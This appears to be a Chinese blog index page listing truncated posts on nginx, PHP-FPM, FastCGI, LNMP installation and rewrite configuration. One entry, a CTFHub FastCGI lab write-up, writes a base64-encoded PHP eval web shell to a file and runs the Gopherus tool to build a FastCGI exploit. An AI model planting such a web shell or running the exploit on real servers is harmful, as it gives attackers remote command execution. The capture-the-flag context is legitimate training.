• 2024-11-09centos7.7安装php7.3的lnmp环境和composer详细步骤
    1.更新源yumupdate2.安装nginxyuminstallnginx3.启动nginxservicenginxstart4.访问http://你的ip如果想配置域名,见最下面。5.安装mysql:安装mysql源yumlocalinstallhttp://dev.mysql.com/get/mysql57-community-release-el7-7.noarch.rpm安装:yuminst
  • 2024-10-24页面404超时,nginx配置方案
    只需要更改子域名下的配置文件vhosts.conf 文件,设置php读取超时时间即可fastcgi_read_timeout300;location~\.php(.*)${fastcgi_pass127.0.0.1:9002;fastcgi_indexindex.php;fastcgi_split_path_info^((?U).+\.php)(
  • 2024-10-24不为人知的网络编程(十七):冰山之下,一次网络请求背后的技术秘密
    1、引言当你在浏览器输入qq.com按下回车键,到页面呈现在你面前,整个过程发生了什么?我以前思考过这个问题,从最前面的浏览器到最后的db都梳理的一遍,触发了一次技术顿悟,将很多散落的知识点贯通起来了。本文将抛弃千篇一律的计网知识理论,从现实的互联网技术实践角度,一步步为你分享
  • 2024-10-21cgi和fastcgi的区别
    CGI:公共网关接口”(Common Gateway Interface),通过这个接口,“程序 ”可以对服务器 与客户端 交换的信息 做一些事情 。CGI有很多缺点,每接收一个请求就要fork一个进程处理,只能接收一个请求作出一个响应。请求结束后该进程就会结束。FastCGI会事先启动起来,作为一个cgi的管
  • 2024-10-16122-bt-nginx 配置备份
    userwwwwww;worker_processesauto;error_log/www/wwwlogs/nginx_error.logcrit;pid/www/server/nginx/logs/nginx.pid;worker_rlimit_nofile51200;stream{log_formattcp_format'$time_local|$remote_addr|$protocol|$status|$bytes_sent|$bytes_
  • 2024-09-29Apache伪静态出现页面无法正常访问处理
    默认规则:apache RewriteRule^(.*)$index.php/$1[QSA,PT,L]这条规则适用于Apache采用模块化运行方式的情况。当请求URL不是目录或文件时,将所有请求重写为index.php/$1。备用规则:apache RewriteRule^(.*)$index.php[E=PATH_INFO:$1,QSA,PT,L]这条
  • 2024-09-27宝塔Nginx开启fastcgi_cache分别缓存WordPress移动和pc端
    FastCGI_cache是Nginx的缓存模块,能够从Nginx层面实现网页静态化,有效提高网站的并发能力、减少PHP运行时间和请求响应时间,大大提升页面加载速度。Fastcgi_cache能够直接在nginx层面提供缓存内容,而无需涉及PHP或WordPress,在没有第三方广告情况下加速效果很不错!网上不少此教程,但是没
  • 2024-09-26CGI和FastCGI
    CGI通用网关接口CGI(CommonGatewayInterface)和快速通用网关接口FastCGI(FastCommonGatewayInterface/FastCGI)都是是接口规范。是服务器与外部程序(如脚本或应用)之间通信的一种方式,最早被设计用于执行各种服务器端脚本。是服务器与外部可执行程序进行交互的桥梁。CGI(CommonGate
  • 2024-08-20dokuwiki创建超过22个用户时用户管理器502报错的解决方法
    Dokuwiki超过22个用户时用户管理器502报错解决当DokuWiki启用了[ldaplocalauth]方式认证,并且创建的用户超过22个时,再次打开用户管理器浏览器会收到Nginx返回的502BadGateway报错。这个问题通常是由于Nginx的fastcgi缓存或头部缓冲区大小不足以处理从后端服务器(如PHP-FPM)接收
  • 2024-08-16PbootCMS伪静态配置让整个地址更美观
    标签作用:配置程序伪静态后URL中将不再包含index.php,整个地址更美观1、IIS环境(IIS6的环境自行百度):1)安装rewrite组件,如果使用空间一般空间商默认已经安装;2)到后台配置参数中开启伪静态开关(老版本直接修改程序config/config.php文件url_type=2);3)在站点目录建立web.config文件
  • 2024-08-05Typecho在Ubuntu 22.04上的安装部署
    安装Nginx并配置访问安装PHP并输出脚本结果配置typechoNginx安装并验证aptinstallnginxsystemctlstartnginx正常情况应该可以看到Nginx的欢迎页面了,如果看不到就是防火墙的问题,设置下防火墙放通即可。安装PHP并使用Nginx代理aptinstallphp-fpmphp-curlphp-gd
  • 2024-07-29thinkphp: 安装fastadmin
    一,官方地址:1,官方站:https://www.fastadmin.net/2,文档地址:https://doc.fastadmin.net/docs/install.html 二,安装:1,下载:下载地址:https://www.fastadmin.net/download.html如图2,解压fastadmin安装包到服务器,并解压:liuhongdi@lhdpc:/data/site/admin/fast$u
  • 2024-07-27【PHP系列】phpinfo里面有什么?
    一、INFO_GENERAL:一般信息1.1版本1.2操作系统版本和SAPI原创猎豹安全中心小豹讲安全2021-05-2514:30在PHP中,我们往往通过phpinfo()函数(及可选选项)来检查配置设置和预定义变量,返回结果输出关于PHP的配置信息,其中包含了PHP编译选项、启用的扩展、PHP版本、服务器信息
  • 2024-07-26【CTFHub】FastCGI协议
    第一步:开启环境后,打开kali虚拟机,第二步:生成一句话木马echo"PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+"|base64-d>shell.php第三步:Gopherus-master工具文件中打开终端,输入以下代码python2gopherus.py--exploitfastcgi 第四步将kali里面生成的代码复制进CTF在
  • 2024-07-26Web 服务器配置文档
    Web服务器配置文档1.概述本文档旨在描述Web服务器的配置方法,包括安装、配置和基本维护。适用范围:所有使用此Web服务器的开发人员和运维人员。目标:提供详细的配置步骤,方便新用户快速上手。确保Web服务器安全、稳定、高效运行。2.安装2.1准备工作操作系
  • 2024-07-26Ubuntu 使用nginx部署thinkphp8配置
    server{listen80;server_nameemall.alliky.cn;root/var/www/html/EMALL_EVTP8_SERVER/public;indexindex.phpindex.htmlindex.htm;#防止文件缓存location~*\.(css|js|jpg|jpeg|png|gif|ico|woff|woff2|css.map|js.map|txt)${expires14d;add_headerC
  • 2024-07-22LNMP
    搭建LNMP动态网站:在不同环境下访问,网站环境又可能变化静态网站:在不同环境下访问,网站环境不会变化【1】、搭建LNMPL:LinuxN:nginxM:Mariadb/MysqlP:PHP/PythonLNMP:也被称为动静分离#安装nginxroot@proxy[05:08:54]:/opt/nginx-1.24.0$./configure&&make&&makeins
  • 2024-06-30LNMP
    LNMPFastCGICGI的由来:最早的Web服务器只能简单地响应浏览器发来的HTTP请求,并将存储在服务器上的HTML文件返回给浏览器,也就是静态html文件,但是后期随着网站功能增多网站开发也越来越复杂,以至于出现动态技术,比如像php(1995年)、java(1995)、python(1991)语言开发的网站,但是nginx/
  • 2024-06-18[面试题]Nginx
    [面试题]Java【基础】[面试题]Java【虚拟机】[面试题]Java【并发】[面试题]Java【集合】[面试题]MySQL[面试题]Maven[面试题]SpringBoot[面试题]SpringCloud[面试题]SpringMVC[面试题]Spring[面试题]MyBatis[面试题]Nginx请解释一下什么是Nginx?Nginx,是一个Web服务
  • 2024-06-17wnmp安装配置记录(重装系统重置后)
    一、windows10二、nginx安装与配置nginxnews开源网站下载稳定版本1.nginx下载完成解压,即安装成功2.进入安装目录,双击nginx.exe,启动nginx服务器3.浏览器中打开http://localhost,出现nginx欢迎页面即为成功 三、安装配置php1、进入PHP官网下载最新稳定版本,windows64位,非线
  • 2024-06-03使用docker-compose建立一个简陋的文件上传网站
    闲聊因为目前在学校,有时候懒得带U盘,机房的电脑没有ssh,自然也就没有scp了,所以闲来无聊就做个文件上传顺便练练技术。最后弄了两天才弄好,最后又因为我服务器带宽那些太小没法传大文件,最后也算是小白练练技术吧。正文这次的实验是用nginx+php做的,docker-compose做托管相关代码
  • 2024-05-30nginx fastcgi_buffers 缓存
    nginxfastcgi_buffers设置打开nginx的warn级别error_log,看到如下信息:2011/04/2317:24:08[warn]9639#0:*44anupstreamresponseisbufferedtoatemporaryfile/tmp/fastcgi_temp/8/0/0000000008whilereadingupstream,client:118.118.118.118,server:sealing
  • 2024-05-29Docker部署php运行环境
    编写docker-compose.yml配置文件,使用nginx作为web服务器,转发php的请求。version:"3"services:web:image:nginx:stable-alpineports:-"8081:80"volumes:-./nginx/www:/usr/share/nginx/html-./nginx/conf.d:/etc/nginx/conf
  • 2024-05-20Linux下安装PHP环境
    Tips:当你看到这个提示的时候,说明当前的文章是由原emlog博客系统搬迁至此的,文章发布时间已过于久远,编排和内容不一定完整,还请谅解`Linux下安装PHP环境日期:2018-5-7阿珏教程浏览:2016次评论:0条学习环境:Centos7.2正式版_64位#更新源yumupdate#安装nginxyuminstall
  • 2024-05-14一个有趣的想法,没有fastcgi的php-fpm之前,php的框架是什么的?
    2024年5月14日10:14:47cgi规范https://www.rfc-editor.org/rfc/rfc3875w3chttps://www.w3.org/CGI/fastcgi细节说明https://www.mit.edu/~yandros/doc/specs/fcgi-spec.htmlSAPI的全称是ServerApplicationProgrammingInterface就是服务器应用程序接口PHP的SAPI模块方